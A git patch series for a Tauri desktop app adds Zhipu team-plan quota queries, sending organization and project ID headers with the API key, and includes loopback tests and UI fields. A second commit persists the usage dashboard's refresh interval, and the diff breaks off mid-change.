100644 --- a/src-tauri/src/commands/coding_plan.rs +++ b/src-tauri/src/commands/coding_plan.rs @@ -7,12 +7,19 @@ pub async fn get_coding_plan_quota( // 火山方舟用控制面 AK/SK 签名查询用量;其他供应商不传,沿用 api_key。 access_key_id: Option, secret_access_key: Option, + // 智谱团队版(zhipu_team)靠显式标识路由(base_url 与个人版相同无法区分)。 + coding_plan_provider: Option, + team_organization_id: Option, + team_project_id: Option, ) -> Result { crate::services::coding_plan::get_coding_plan_quota( &base_url, &api_key, access_key_id.as_deref(), secret_access_key.as_deref(), + coding_plan_provider.as_deref(), + team_organization_id.as_deref(), + team_project_id.as_deref(), ) .await } diff --git a/src-tauri/src/commands/provider.rs b/src-tauri/src/commands/provider.rs index 7a90e2e87..fa6952e4c 100644 --- a/src-tauri/src/commands/provider.rs +++ b/src-tauri/src/commands/provider.rs @@ -516,12 +516,20 @@ async fn query_provider_usage_inner( // 其他供应商为 None,service 层沿用 api_key。 let access_key_id = usage_script.and_then(|s| s.access_key_id.clone()); let secret_access_key = usage_script.and_then(|s| s.secret_access_key.clone()); + // 智谱团队版:显式 provider 标识 + 组织/项目 ID(与个人版智谱 base_url 相同, + // 靠 coding_plan_provider == "zhipu_team" 在 service 层路由)。 + let coding_plan_provider = usage_script.and_then(|s| s.coding_plan_provider.clone()); + let team_organization_id = usage_script.and_then(|s| s.team_organization_id.clone()); + let team_project_id = usage_script.and_then(|s| s.team_project_id.clone()); let quota = crate::services::coding_plan::get_coding_plan_quota( &base_url, &api_key, access_key_id.as_deref(), secret_access_key.as_deref(), + coding_plan_provider.as_deref(), + team_organization_id.as_deref(), + team_project_id.as_deref(), ) .await .map_err(|e| format!("Failed to query coding plan: {e}"))?; @@ -1079,6 +1087,8 @@ mod native_query_credentials_tests { coding_plan_provider: coding_plan_provider.map(str::to_string), access_key_id: None, secret_access_key: None, + team_organization_id: None, + team_project_id: None, } } diff --git a/src-tauri/src/deeplink/provider.rs b/src-tauri/src/deeplink/provider.rs index d41e4654d..80cd8eb21 100644 --- a/src-tauri/src/deeplink/provider.rs +++ b/src-tauri/src/deeplink/provider.rs @@ -267,6 +267,8 @@ fn build_provider_meta(request: &DeepLinkImportRequest) -> Result, + /// 智谱团队套餐(Team Plan)的组织 ID(用量查询请求头 bigmodel-organization) + #[serde(skip_serializing_if = "Option::is_none")] + #[serde(rename = "teamOrganizationId")] + pub team_organization_id: Option, + /// 智谱团队套餐(Team Plan)的项目 ID(用量查询请求头 bigmodel-project) + #[serde(skip_serializing_if = "Option::is_none")] + #[serde(rename = "teamProjectId")] + pub team_project_id: Option, } /// 用量数据 diff --git a/src-tauri/src/services/coding_plan.rs b/src-tauri/src/services/coding_plan.rs index 172e2df69..63bd727d2 100644 --- a/src-tauri/src/services/coding_plan.rs +++ b/src-tauri/src/services/coding_plan.rs @@ -364,18 +364,25 @@ async fn query_zhipu(base_url: &str, api_key: &str) -> Result return Ok(make_error(format!("Failed to parse response: {e}"))), }; + Ok(zhipu_quota_from_body(&body)) +} + +/// 解析智谱额度响应体(个人版与团队版共用同一 shape)。 +/// 仅在 HTTP 成功、body 已完整读取并解析为 JSON 后调用——本函数不做任何网络 IO, +/// 故无瞬时失败通道,确定性失败直接落进 `Ok(success:false)`。 +fn zhipu_quota_from_body(body: &serde_json::Value) -> SubscriptionQuota { // 检查业务级别错误 if body.get("success").and_then(|v| v.as_bool()) == Some(false) { let msg = body .get("msg") .and_then(|v| v.as_str()) .unwrap_or("Unknown error"); - return Ok(make_error(format!("API error: {msg}"))); + return make_error(format!("API error: {msg}")); } let data = match body.get("data") { Some(d) => d, - None => return Ok(make_error("Missing 'data' field in response".to_string())), + None => return make_error("Missing 'data' field in response".to_string()), }; let tiers = parse_zhipu_token_tiers(data); @@ -386,7 +393,7 @@ async fn query_zhipu(base_url: &str, api_key: &str) -> Result Result SubscriptionQuota { } } +// ── 智谱团队套餐(Team Plan)────────────────────────────────── +// +// 与个人版的差异仅在请求构造(参考 token-monitor/src/shared/zaiTeamLimits.js): +// - 固定走国内站 open.bigmodel.cn(团队版仅存在于国内站,z.ai 国际站无 team 档) +// - 同一 quota 路径加 `?type=2` +// - 额外请求头 bigmodel-organization / bigmodel-project(两者 + api_key 缺一不可) +// 响应 shape 与个人版完全一致 → 复用 zhipu_quota_from_body / parse_zhipu_token_tiers。 +const ZHIPU_TEAM_QUOTA_URL: &str = "https://open.bigmodel.cn/api/monitor/usage/quota/limit"; + +async fn query_zhipu_team( + api_key: &str, + organization_id: &str, + project_id: &str, +) -> Result { + query_zhipu_team_at(ZHIPU_TEAM_QUOTA_URL, api_key, organization_id, project_id).await +} + +/// 团队版额度查询。`quota_url_base` 为不含 query 的 quota 端点;团队版与个人版同路径, +/// 靠 `?type=2` 区分(在此拼上)。拆出 url 参数便于用本地 server 测试请求形状。 +async fn query_zhipu_team_at( + quota_url_base: &str, + api_key: &str, + organization_id: &str, + project_id: &str, +) -> Result { + let client = crate::proxy::http_client::get(); + let url = format!("{quota_url_base}?type=2"); + + let resp = client + .get(&url) + .header("Authorization", api_key) // 与个人版一致:智谱不加 Bearer 前缀 + .header("bigmodel-organization", organization_id) + .header("bigmodel-project", project_id) + .header("Content-Type", "application/json") + .header("Accept-Language", "en-US,en") + .timeout(std::time::Duration::from_secs(15)) + .send() + .await; + + let resp = match resp { + Ok(r) => r, + Err(e) => return Err(format!("Network error: {e}")), + }; + + let status = resp.status(); + if status == reqwest::StatusCode::UNAUTHORIZED || status == reqwest::StatusCode::FORBIDDEN { + return Ok(SubscriptionQuota { + tool: "coding_plan".to_string(), + credential_status: CredentialStatus::Expired, + credential_message: Some("Invalid API key".to_string()), + success: false, + tiers: vec![], + extra_usage: None, + error: Some(format!("Authentication failed (HTTP {status})")), + queried_at: Some(now_millis()), + }); + } + + if !status.is_success() { + let body = resp.text().await.unwrap_or_default(); + return Ok(make_error(format!("API error (HTTP {status}): {body}"))); + } + + // 先 bytes() 再解析:读体失败(超时/连接中断)是瞬时 → Err;拿到完整响应体 + // 后解析失败才是确定性。reqwest 的 json() 把读体错误也包成 decode,无法区分。 + let raw = match resp.bytes().await { + Ok(b) => b, + Err(e) => return Err(format!("Failed to read response: {e}")), + }; + let body: serde_json::Value = match serde_json::from_slice(&raw) { + Ok(v) => v, + Err(e) => return Ok(make_error(format!("Failed to parse response: {e}"))), + }; + + Ok(zhipu_quota_from_body(&body)) +} + /// 查询编程套餐额度。瞬时传输失败(网络/超时/读体中断)返回 `Err`(前端 reject → /// retry + 保留上次成功值);确定性失败(凭据缺失/未知域名/鉴权/非 2xx/业务错误) /// 返回 `Ok(success:false)` 立即透出文案。判定按 reqwest 错误种类在折叠点完成。 +/// +/// `coding_plan_provider` 显式标识用于无法靠 base_url 区分的供应商(当前为智谱团队版 +/// `zhipu_team`——其 base_url 与个人版智谱相同);其余情况走 `detect_provider`。 pub async fn get_coding_plan_quota( base_url: &str, api_key: &str, access_key_id: Option<&str>, secret_access_key: Option<&str>, + coding_plan_provider: Option<&str>, + team_organization_id: Option<&str>, + team_project_id: Option<&str>, ) -> Result { + // 智谱团队版:base_url 与个人版智谱(open.bigmodel.cn)相同,detect_provider 无法 + // 区分,必须靠显式 coding_plan_provider == "zhipu_team" 路由。需 api_key + 组织 ID + // + 项目 ID 三者齐全,缺任一返回 NotFound 引导补全。 + if coding_plan_provider + .map(|p| p.eq_ignore_ascii_case("zhipu_team")) + .unwrap_or(false) + { + let organization_id = team_organization_id.unwrap_or("").trim(); + let project_id = team_project_id.unwrap_or("").trim(); + if api_key.trim().is_empty() || organization_id.is_empty() || project_id.is_empty() { + return Ok(coding_plan_not_found( + "Zhipu team plan needs the API key + organization ID + project ID", + )); + } + return query_zhipu_team(api_key, organization_id, project_id).await; + } + let provider = match detect_provider(base_url) { Some(p) => p, // 域名未命中已知套餐供应商(如第三方中转站):给出明确错误而非静默失败 @@ -1231,9 +1338,9 @@ pub async fn get_coding_plan_quota( mod tests { use super::{ parse_afp_tiers, parse_coding_plan_tiers, parse_minimax_tiers, parse_zhipu_token_tiers, - volcengine_canonical_query, volcengine_is_auth_error_code, volcengine_region, - volcengine_response_error, volcengine_sign, zhipu_quota_base, TIER_FIVE_HOUR, TIER_MONTHLY, - TIER_WEEKLY_LIMIT, + query_zhipu_team_at, volcengine_canonical_query, volcengine_is_auth_error_code, + volcengine_region, volcengine_response_error, volcengine_sign, zhipu_quota_base, + TIER_FIVE_HOUR, TIER_MONTHLY, TIER_WEEKLY_LIMIT, }; use serde_json::json; @@ -1897,9 +2004,16 @@ mod tests { let port = listener.local_addr().expect("local addr").port(); drop(listener); - let result = - get_coding_plan_quota(&format!("http://127.0.0.1:{port}/zenmux"), "k", None, None) - .await; + let result = get_coding_plan_quota( + &format!("http://127.0.0.1:{port}/zenmux"), + "k", + None, + None, + None, + None, + None, + ) + .await; let err = result.expect_err("send 失败必须走 Err 通道(瞬时,前端 reject 后重试)"); assert!(err.contains("Network error"), "err={err}"); } @@ -1909,7 +2023,7 @@ mod tests { ensure_no_proxy_for_loopback(); let (base_url, handle) = spawn_once_server(None); - let result = get_coding_plan_quota(&base_url, "k", None, None).await; + let result = get_coding_plan_quota(&base_url, "k", None, None, None, None, None).await; let err = result.expect_err("响应前连接中断必须走 Err 通道(瞬时)"); assert!(err.contains("Network error"), "err={err}"); handle.join().expect("server thread"); @@ -1926,7 +2040,7 @@ mod tests { .to_string(), )); - let result = get_coding_plan_quota(&base_url, "k", None, None).await; + let result = get_coding_plan_quota(&base_url, "k", None, None, None, None, None).await; let err = result.expect_err("读体中断必须走 Err 通道(瞬时,前端 reject 后重试)"); assert!(err.contains("Failed to read response"), "err={err}"); handle.join().expect("server thread"); @@ -1937,7 +2051,7 @@ mod tests { ensure_no_proxy_for_loopback(); let (base_url, handle) = spawn_once_server(Some(http_response("401 Unauthorized", "{}"))); - let quota = get_coding_plan_quota(&base_url, "k", None, None) + let quota = get_coding_plan_quota(&base_url, "k", None, None, None, None, None) .await .expect("鉴权失败是确定性失败,必须保持 Ok(success:false) 展示文案"); assert!(!quota.success); @@ -1953,7 +2067,7 @@ mod tests { let (base_url, handle) = spawn_once_server(Some(http_response("429 Too Many Requests", "slow down"))); - let quota = get_coding_plan_quota(&base_url, "k", None, None) + let quota = get_coding_plan_quota(&base_url, "k", None, None, None, None, None) .await .expect("非 2xx 保持 Ok(success:false),状态码留在文案里交前端分类"); assert!(!quota.success); @@ -1970,7 +2084,7 @@ mod tests { // 完整读到响应体但不是 JSON → is_decode → 确定性解析失败 let (base_url, handle) = spawn_once_server(Some(http_response("200 OK", "not-json"))); - let quota = get_coding_plan_quota(&base_url, "k", None, None) + let quota = get_coding_plan_quota(&base_url, "k", None, None, None, None, None) .await .expect("完整但非法的响应体是确定性失败,必须保持 Ok(success:false)"); assert!(!quota.success); @@ -1978,4 +2092,146 @@ mod tests { assert!(err.contains("Failed to parse response"), "err={err}"); handle.join().expect("server thread"); } + + // ── 智谱团队套餐(Team Plan)── + + /// 起一个只服务一次连接的本地 HTTP server,捕获原始请求文本(请求行 + 头), + /// 用于断言 team 查询发出的 URL query 与组织/项目请求头。`response=None` 时只捕获不回包。 + fn spawn_request_capturing_server( + response: Option, + ) -> ( + String, + std::sync::Arc>>, + std::thread::JoinHandle<()>, + ) { + let listener = std::net::TcpListener::bind("127.0.0.1:0").expect("bind local listener"); + let port = listener.local_addr().expect("local addr").port(); + let captured = std::sync::Arc::new(std::sync::Mutex::new(None::)); + let captured_clone = captured.clone(); + let handle = std::thread::spawn(move || { + if let Ok((mut stream, _)) = listener.accept() { + let mut buf: Vec = Vec::new(); + let mut tmp = [0u8; 4096]; + // GET 无 body,读到 header 末尾(\r\n\r\n)即可 + while !buf.windows(4).any(|w| w == b"\r\n\r\n") { + match stream.read(&mut tmp) { + Ok(0) | Err(_) => break, + Ok(n) => { + buf.extend_from_slice(&tmp[..n]); + if buf.len() > 16 * 1024 { + break; + } + } + } + } + *captured_clone.lock().unwrap() = Some(String::from_utf8_lossy(&buf).into_owned()); + if let Some(resp) = response { + let _ = stream.write_all(resp.as_bytes()); + let _ = stream.flush(); + } + } + }); + (format!("http://127.0.0.1:{port}/team"), captured, handle) + } + + #[tokio::test] + async fn zhipu_team_missing_creds_returns_not_found() { + // 团队版必需 api_key + 组织 ID + 项目 ID,缺任一在触网前返回 NotFound(不联网)。 + let cases: [(&str, Option<&str>, Option<&str>); 3] = [ + ("key", Some("org"), None), // 缺 project + ("key", None, Some("proj")), // 缺 organization + (" ", Some("org"), Some("proj")), // 空 api_key + ]; + for (api_key, org, project) in cases { + let q = get_coding_plan_quota( + "https://open.bigmodel.cn/api/coding", + api_key, + None, + None, + Some("zhipu_team"), + org, + project, + ) + .await + .expect("凭据缺失是确定性失败,保持 Ok(success:false)"); + assert!(!q.success, "应失败: api_key={api_key:?}"); + assert!( + matches!(q.credential_status, CredentialStatus::NotFound), + "应为 NotFound: api_key={api_key:?}" + ); + } + + // 标识大小写不敏感(eq_ignore_ascii_case),大写仍命中 team 分支并返回引导文案。 + let msg = get_coding_plan_quota( + "https://open.bigmodel.cn/api/coding", + "key", + None, + None, + Some("Zhipu_Team"), + None, + None, + ) + .await + .expect("ok") + .error + .expect("应有错误文案"); + assert!( + msg.contains("API key + organization ID + project ID"), + "err={msg}" + ); + } + + #[tokio::test] + async fn zhipu_team_request_carries_type2_and_org_project_headers() { + ensure_no_proxy_for_loopback(); + // 响应 shape 与个人版一致:两条 TOKENS_LIMIT(unit 3/6)→ five_hour + weekly。 + let body = serde_json::json!({ + "success": true, + "data": { + "level": "max", + "limits": [ + { "type": "TOKENS_LIMIT", "unit": 3, "number": 5, "percentage": 26.0 }, + { "type": "TOKENS_LIMIT", "unit": 6, "number": 1, "percentage": 5.0 } + ] + } + }); + let body_str = body.to_string(); + let resp = format!( + "HTTP/1.1 200 OK\r\ncontent-type: application/json\r\ncontent-length: {}\r\nconnection: close\r\n\r\n{body_str}", + body_str.len() + ); + let (base, captured, handle) = spawn_request_capturing_server(Some(resp)); + + let quota = query_zhipu_team_at(&base, "team-key", "org-xxx", "proj_xxx") + .await + .expect("2xx + 合法 body 应成功"); + handle.join().expect("server thread"); + + // 请求形状契约(与 token-monitor zaiTeamLimits 对齐): + // 同路径加 ?type=2 + bigmodel-organization / bigmodel-project 头 + 鉴权头。 + // reqwest/hyper 发头会小写化,故整体转小写做包含匹配。 + let raw = captured.lock().unwrap().clone().expect("应捕获到请求"); + let raw_lc = raw.to_lowercase(); + assert!(raw_lc.contains("/team?type=2"), "缺 ?type=2: {raw}"); + assert!( + raw_lc.contains("bigmodel-organization: org-xxx"), + "缺组织头: {raw}" + ); + assert!( + raw_lc.contains("bigmodel-project: proj_xxx"), + "缺项目头: {raw}" + ); + assert!( + raw_lc.contains("authorization: team-key"), + "缺鉴权头: {raw}" + ); + + // 解析复用个人版 zhipu_quota_from_body / parse_zhipu_token_tiers。 + assert!(quota.success); + assert_eq!(quota.tiers.len(), 2); + assert_eq!(quota.tiers[0].name, TIER_FIVE_HOUR); + assert_eq!(quota.tiers[0].utilization, 26.0); + assert_eq!(quota.tiers[1].name, TIER_WEEKLY_LIMIT); + assert_eq!(quota.tiers[1].utilization, 5.0); + } } diff --git a/src-tauri/src/services/provider/mod.rs b/src-tauri/src/services/provider/mod.rs index 8bbec5e33..f95d463a9 100644 --- a/src-tauri/src/services/provider/mod.rs +++ b/src-tauri/src/services/provider/mod.rs @@ -273,6 +273,8 @@ mod tests { coding_plan_provider: None, access_key_id: Some("ak-test".to_string()), secret_access_key: Some("sk-test".to_string()), + team_organization_id: None, + team_project_id: None, } } diff --git a/src/components/UsageScriptModal.tsx b/src/components/UsageScriptModal.tsx index 27488f353..ec827b2fd 100644 --- a/src/components/UsageScriptModal.tsx +++ b/src/components/UsageScriptModal.tsx @@ -39,6 +39,8 @@ import { formatUsageDataSummary } from "@/utils/usageDisplay"; */ const VOLCENGINE_KEY_CONSOLE_URL = "https://console.volcengine.com/iam/keymanage"; +// 智谱团队套餐用量页(组织 ID / 项目 ID 在此页 URL 或管理后台可见) +const ZHIPU_TEAM_USAGE_URL = "https://bigmodel.cn/coding-plan/team/usage-stats"; interface UsageScriptModalProps { provider: Provider; @@ -553,6 +555,7 @@ const UsageScriptModal: React.FC = ({ // 另用账号 AK/SK 签名查询控制面用量。 const isZenMux = script.codingPlanProvider === "zenmux"; const isVolcengine = script.codingPlanProvider === "volcengine"; + const isZhipuTeam = script.codingPlanProvider === "zhipu_team"; const baseUrl = isZenMux ? (script.baseUrl ?? "") : (providerCredentials.baseUrl ?? ""); @@ -565,6 +568,9 @@ const UsageScriptModal: React.FC = ({ apiKey, isVolcengine ? script.accessKeyId : undefined, isVolcengine ? script.secretAccessKey : undefined, + isZhipuTeam ? script.codingPlanProvider : undefined, + isZhipuTeam ? script.teamOrganizationId : undefined, + isZhipuTeam ? script.teamProjectId : undefined, ); if (quota.success && quota.tiers.length > 0) { const summary = quota.tiers @@ -746,9 +752,10 @@ const UsageScriptModal: React.FC = ({ providerCredentials.baseUrl, ); const provider = script.codingPlanProvider || autoDetected || "kimi"; - // ZenMux 保留手填 baseUrl/apiKey;火山保留账号 AK/SK;其余清除。 + // ZenMux 保留手填 baseUrl/apiKey;火山保留账号 AK/SK;智谱团队保留组织/项目 ID;其余清除。 const isZenMux = provider === "zenmux"; const isVolcengine = provider === "volcengine"; + const isZhipuTeam = provider === "zhipu_team"; setScript({ ...script, code: "", @@ -758,6 +765,10 @@ const UsageScriptModal: React.FC = ({ userId: undefined, accessKeyId: isVolcengine ? script.accessKeyId : undefined, secretAccessKey: isVolcengine ? script.secretAccessKey : undefined, + teamOrganizationId: isZhipuTeam + ? script.teamOrganizationId + : undefined, + teamProjectId: isZhipuTeam ? script.teamProjectId : undefined, codingPlanProvider: provider, }); } else if (presetName === TEMPLATE_TYPES.BALANCE) { @@ -1359,6 +1370,76 @@ const UsageScriptModal: React.FC = ({

)} + {/* 智谱团队套餐:需组织 ID + 项目 ID(api_key 沿用供应商推理凭据) */} + {selectedTemplate === TEMPLATE_TYPES.TOKEN_PLAN && + script.codingPlanProvider === "zhipu_team" && ( +
+
+

+ {t("usageScript.credentialsConfig")} +

+

+ {t("usageScript.zhipuTeamHint")} +

+

+ {t("usageScript.zhipuTeamConsoleLink")}{" "} + +

+
+ +
+
+ + + setScript({ + ...script, + teamOrganizationId: e.target.value, + }) + } + placeholder={t("usageScript.organizationIdPlaceholder")} + autoComplete="off" + className="border-white/10" + /> +
+ +
+ + + setScript({ + ...script, + teamProjectId: e.target.value, + }) + } + placeholder={t("usageScript.projectIdPlaceholder")} + autoComplete="off" + className="border-white/10" + /> +
+
+
+ )} + {/* 通用配置(始终显示) */}
{/* 超时时间 */} diff --git a/src/config/codingPlanProviders.ts b/src/config/codingPlanProviders.ts index 849d2bf3c..86ef36fc9 100644 --- a/src/config/codingPlanProviders.ts +++ b/src/config/codingPlanProviders.ts @@ -11,7 +11,7 @@ import { TEMPLATE_TYPES } from "@/config/constants"; export interface CodingPlanProviderEntry { /** 与后端 QuotaTier 的 `codingPlanProvider` 取值对齐 */ - id: "kimi" | "zhipu" | "minimax" | "zenmux" | "volcengine"; + id: "kimi" | "zhipu" | "zhipu_team" | "minimax" | "zenmux" | "volcengine"; /** UsageScriptModal 下拉显示用 */ label: string; /** base_url 匹配规则 */ @@ -25,6 +25,16 @@ export const CODING_PLAN_PROVIDERS: readonly CodingPlanProviderEntry[] = [ label: "Zhipu GLM (智谱)", pattern: /bigmodel\.cn|api\.z\.ai/i, }, + { + // 智谱团队套餐(Team Plan)。base_url 与个人版智谱(open.bigmodel.cn)相同, + // 无法靠 base_url 自动区分——靠显式 codingPlanProvider === "zhipu_team" 路由。 + // 个人版 zhipu 排在前面,detectCodingPlanProvider 首匹配仍命中个人版, + // 故团队版永不被 injectCodingPlanUsageScript 自动注入(必须用户手动选)。 + // pattern 仅占位(下拉展示用),实际不参与自动检测。 + id: "zhipu_team", + label: "Zhipu GLM Team (智谱团队)", + pattern: /bigmodel\.cn/i, + }, { id: "minimax", label: "MiniMax", diff --git a/src/i18n/locales/en.json b/src/i18n/locales/en.json index 73ba13faf..e0e7aca32 100644 --- a/src/i18n/locales/en.json +++ b/src/i18n/locales/en.json @@ -1592,6 +1592,12 @@ "secretAccessKey": "SecretAccessKey", "volcengineAkSkHint": "Volcengine usage query needs an account-level AccessKey ID / Secret (different from the inference API key). Create them in the Volcengine console via the top-right account menu → 'API Access Keys'.", "volcengineKeyConsoleLink": "Create keys at:", + "zhipuTeamHint": "Zhipu team plan usage query needs the team API key (reuses this provider's credentials) + organization ID + project ID (sent as bigmodel-organization / bigmodel-project request headers). Find the organization and project IDs in the team admin console's usage page URL.", + "zhipuTeamConsoleLink": "Team usage page:", + "organizationId": "Organization ID", + "organizationIdPlaceholder": "e.g. org-xxxxxx", + "projectId": "Project ID", + "projectIdPlaceholder": "e.g. proj-xxxxxx", "defaultPlan": "Default Plan", "queryFailedMessage": "Query failed", "queryScript": "Query script (JavaScript)", diff --git a/src/i18n/locales/ja.json b/src/i18n/locales/ja.json index 36a46cd80..834d6dd0c 100644 --- a/src/i18n/locales/ja.json +++ b/src/i18n/locales/ja.json @@ -1592,6 +1592,12 @@ "secretAccessKey": "SecretAccessKey", "volcengineAkSkHint": "Volcengine の使用量照会にはアカウントレベルの AccessKey ID / Secret が必要です(推論 API キーとは別物)。Volcengine コンソール右上のアカウントメニュー →「API アクセスキー」で作成してください。", "volcengineKeyConsoleLink": "キー作成ページ:", + "zhipuTeamHint": "智譜チームプランの使用量照会には、チーム API キー(このプロバイダーの認証情報を流用)+ 組織 ID + プロジェクト ID が必要です(リクエストヘッダー bigmodel-organization / bigmodel-project として送信)。組織 ID とプロジェクト ID はチーム管理コンソールの使用量ページの URL で確認できます。", + "zhipuTeamConsoleLink": "チーム使用量ページ:", + "organizationId": "組織 ID", + "organizationIdPlaceholder": "例: org-xxxxxx", + "projectId": "プロジェクト ID", + "projectIdPlaceholder": "例: proj-xxxxxx", "defaultPlan": "デフォルトプラン", "queryFailedMessage": "照会に失敗しました", "queryScript": "照会スクリプト (JavaScript)", diff --git a/src/i18n/locales/zh-TW.json b/src/i18n/locales/zh-TW.json index 8ce60dbd6..1d3212828 100644 --- a/src/i18n/locales/zh-TW.json +++ b/src/i18n/locales/zh-TW.json @@ -1564,6 +1564,12 @@ "secretAccessKey": "SecretAccessKey", "volcengineAkSkHint": "火山用量查詢需帳號級 AccessKey ID / Secret(與推理 API Key 不同)。請在火山引擎主控台右上角帳號選單 →「API存取金鑰」中建立。", "volcengineKeyConsoleLink": "金鑰建立網址:", + "zhipuTeamHint": "智譜團隊套餐用量查詢需團隊 API Key(沿用本供應商憑據)+ 組織 ID + 專案 ID(作為請求標頭 bigmodel-organization / bigmodel-project)。組織與專案 ID 可在團隊管理後台用量頁的 URL 中找到。", + "zhipuTeamConsoleLink": "團隊用量頁:", + "organizationId": "組織 ID", + "organizationIdPlaceholder": "例如:org-xxxxxx", + "projectId": "專案 ID", + "projectIdPlaceholder": "例如:proj-xxxxxx", "defaultPlan": "預設方案", "queryFailedMessage": "查詢失敗", "queryScript": "查詢腳本(JavaScript)", diff --git a/src/i18n/locales/zh.json b/src/i18n/locales/zh.json index 6c93a8b9e..774bae37e 100644 --- a/src/i18n/locales/zh.json +++ b/src/i18n/locales/zh.json @@ -1592,6 +1592,12 @@ "secretAccessKey": "SecretAccessKey", "volcengineAkSkHint": "火山用量查询需账号级 AccessKey ID / Secret(与推理 API Key 不同)。请在火山引擎控制台右上角账号菜单 →「API访问密钥」中创建。", "volcengineKeyConsoleLink": "密钥创建地址:", + "zhipuTeamHint": "智谱团队套餐用量查询需团队 API Key(沿用本供应商凭据)+ 组织 ID + 项目 ID(作为请求头 bigmodel-organization / bigmodel-project)。组织与项目 ID 可在团队管理后台用量页的 URL 中找到。", + "zhipuTeamConsoleLink": "团队用量页:", + "organizationId": "组织 ID", + "organizationIdPlaceholder": "例如:org-xxxxxx", + "projectId": "项目 ID", + "projectIdPlaceholder": "例如:proj-xxxxxx", "defaultPlan": "默认套餐", "queryFailedMessage": "查询失败", "queryScript": "查询脚本(JavaScript)", diff --git a/src/lib/api/subscription.ts b/src/lib/api/subscription.ts index 0d2436308..728387223 100644 --- a/src/lib/api/subscription.ts +++ b/src/lib/api/subscription.ts @@ -12,12 +12,19 @@ export const subscriptionApi = { // 火山方舟用账号 AK/SK 签名查询用量;其他供应商不传。 accessKeyId?: string, secretAccessKey?: string, + // 智谱团队版(zhipu_team)靠显式标识路由(base_url 与个人版相同无法区分)。 + codingPlanProvider?: string, + teamOrganizationId?: string, + teamProjectId?: string, ): Promise => invoke("get_coding_plan_quota", { baseUrl, apiKey, accessKeyId, secretAccessKey, + codingPlanProvider, + teamOrganizationId, + teamProjectId, }), getBalance: ( baseUrl: string, diff --git a/src/types.ts b/src/types.ts index ecc1e524b..6dcb66af6 100644 --- a/src/types.ts +++ b/src/types.ts @@ -64,6 +64,8 @@ export interface UsageScript { userId?: string; // 用户ID(NewAPI 模板使用) accessKeyId?: string; // 火山方舟 AccessKey ID(用量查询签名用,与推理 Key 分离) secretAccessKey?: string; // 火山方舟 SecretAccessKey + teamOrganizationId?: string; // 智谱团队套餐组织 ID(请求头 bigmodel-organization) + teamProjectId?: string; // 智谱团队套餐项目 ID(请求头 bigmodel-project) codingPlanProvider?: string; // Coding Plan 供应商标识(如 "kimi", "zhipu", "minimax") autoQueryInterval?: number; // 自动查询间隔(单位:分钟,0 表示禁用) autoIntervalMinutes?: number; // 自动查询间隔(分钟)- 别名字段 From 98ccde0050f33a1bc8b16b96287a0b6f582c5d12 Mon Sep 17 00:00:00 2001 From: makoMakoGo <48956204+makoMakoGo@users.noreply.github.com> Date: Thu, 9 Jul 2026 10:02:23 +0800 Subject: [PATCH 40/73] fix(usage): persist dashboard refresh interval (#5057) --- src-tauri/src/settings.rs | 3 + src/components/settings/SettingsPage.tsx | 7 +- src/components/usage/UsageDashboard.tsx | 49 ++++++- src/lib/schemas/settings.ts | 1 + src/types.ts | 1 + tests/components/UsageDashboard.test.tsx | 155 +++++++++++++++++++++++ 6 files changed, 209 insertions(+), 7 deletions(-) create mode 100644 tests/components/UsageDashboard.test.tsx diff --git a/src-tauri/src/settings.rs b/src-tauri/src/settings.rs index ffa00909f..8bdd24cca 100644 --- a/src-tauri/src/settings.rs +++ b/src-tauri/src/settings.rs @@ -366,6 +366,8 @@ pub struct AppSettings { /// User has confirmed the usage query first-run notice #[serde(default, skip_serializing_if = "Option::is_none")] pub usage_confirmed: Option, + #[serde(default, skip_serializing_if = "Option::is_none")] + pub usage_dashboard_refresh_interval_ms: Option, /// User has confirmed the stream check first-run notice #[serde(default, skip_serializing_if = "Option::is_none")] pub stream_check_confirmed: Option, @@ -501,6 +503,7 @@ impl Default for AppSettings { enable_local_proxy: false, proxy_confirmed: None, usage_confirmed: None, + usage_dashboard_refresh_interval_ms: None, stream_check_confirmed: None, enable_failover_toggle: false, preserve_codex_official_auth_on_switch: false, diff --git a/src/components/settings/SettingsPage.tsx b/src/components/settings/SettingsPage.tsx index 49cf0dc79..3ab2dd712 100644 --- a/src/components/settings/SettingsPage.tsx +++ b/src/components/settings/SettingsPage.tsx @@ -507,7 +507,12 @@ export function SettingsPage({ - + + handleAutoSave({ usageDashboardRefreshIntervalMs }) + } + />
diff --git a/src/components/usage/UsageDashboard.tsx b/src/components/usage/UsageDashboard.tsx index 4eb2485d4..a03fa833c 100644 --- a/src/components/usage/UsageDashboard.tsx +++ b/src/components/usage/UsageDashboard.tsx @@ -1,4 +1,4 @@ -import { useMemo, useState } from "react"; +import { useEffect, useMemo, useState } from "react"; import { useTranslation } from "react-i18next"; import { UsageHero } from "./UsageHero"; import { UsageTrendChart } from "./UsageTrendChart"; @@ -46,8 +46,17 @@ import { Tabs, TabsContent, TabsList, TabsTrigger } from "@/components/ui/tabs"; const APP_FILTER_OPTIONS: AppTypeFilter[] = ["all", ...KNOWN_APP_TYPES]; -// 0 表示关闭自动刷新(refetchInterval=false) +const DEFAULT_REFRESH_INTERVAL_MS = 30000; const REFRESH_INTERVAL_OPTIONS_MS = [0, 5000, 10000, 30000, 60000] as const; +type RefreshIntervalOption = (typeof REFRESH_INTERVAL_OPTIONS_MS)[number]; + +const isRefreshIntervalOption = ( + value: number | undefined, +): value is RefreshIntervalOption => + REFRESH_INTERVAL_OPTIONS_MS.includes(value as RefreshIntervalOption); + +const normalizeRefreshInterval = (value: number | undefined) => + isRefreshIntervalOption(value) ? value : DEFAULT_REFRESH_INTERVAL_MS; // 与 AppSwitcher 的 appIconName 保持一致(codex 复用 openai 图标) const APP_FILTER_ICON: Record = { @@ -64,7 +73,15 @@ const encodeOptionValue = (name: string) => `${DYNAMIC_OPTION_PREFIX}${name}`; const decodeOptionValue = (value: string) => value === "all" ? undefined : value.slice(DYNAMIC_OPTION_PREFIX.length); -export function UsageDashboard() { +interface UsageDashboardProps { + refreshIntervalMs?: number; + onRefreshIntervalChange?: (next: number) => Promise | boolean | void; +} + +export function UsageDashboard({ + refreshIntervalMs: savedRefreshIntervalMs, + onRefreshIntervalChange, +}: UsageDashboardProps = {}) { const { t, i18n } = useTranslation(); const queryClient = useQueryClient(); const [range, setRange] = useState({ preset: "today" }); @@ -73,7 +90,13 @@ export function UsageDashboard() { undefined, ); const [model, setModel] = useState(undefined); - const [refreshIntervalMs, setRefreshIntervalMs] = useState(30000); + const [refreshIntervalMs, setRefreshIntervalMs] = useState(() => + normalizeRefreshInterval(savedRefreshIntervalMs), + ); + + useEffect(() => { + setRefreshIntervalMs(normalizeRefreshInterval(savedRefreshIntervalMs)); + }, 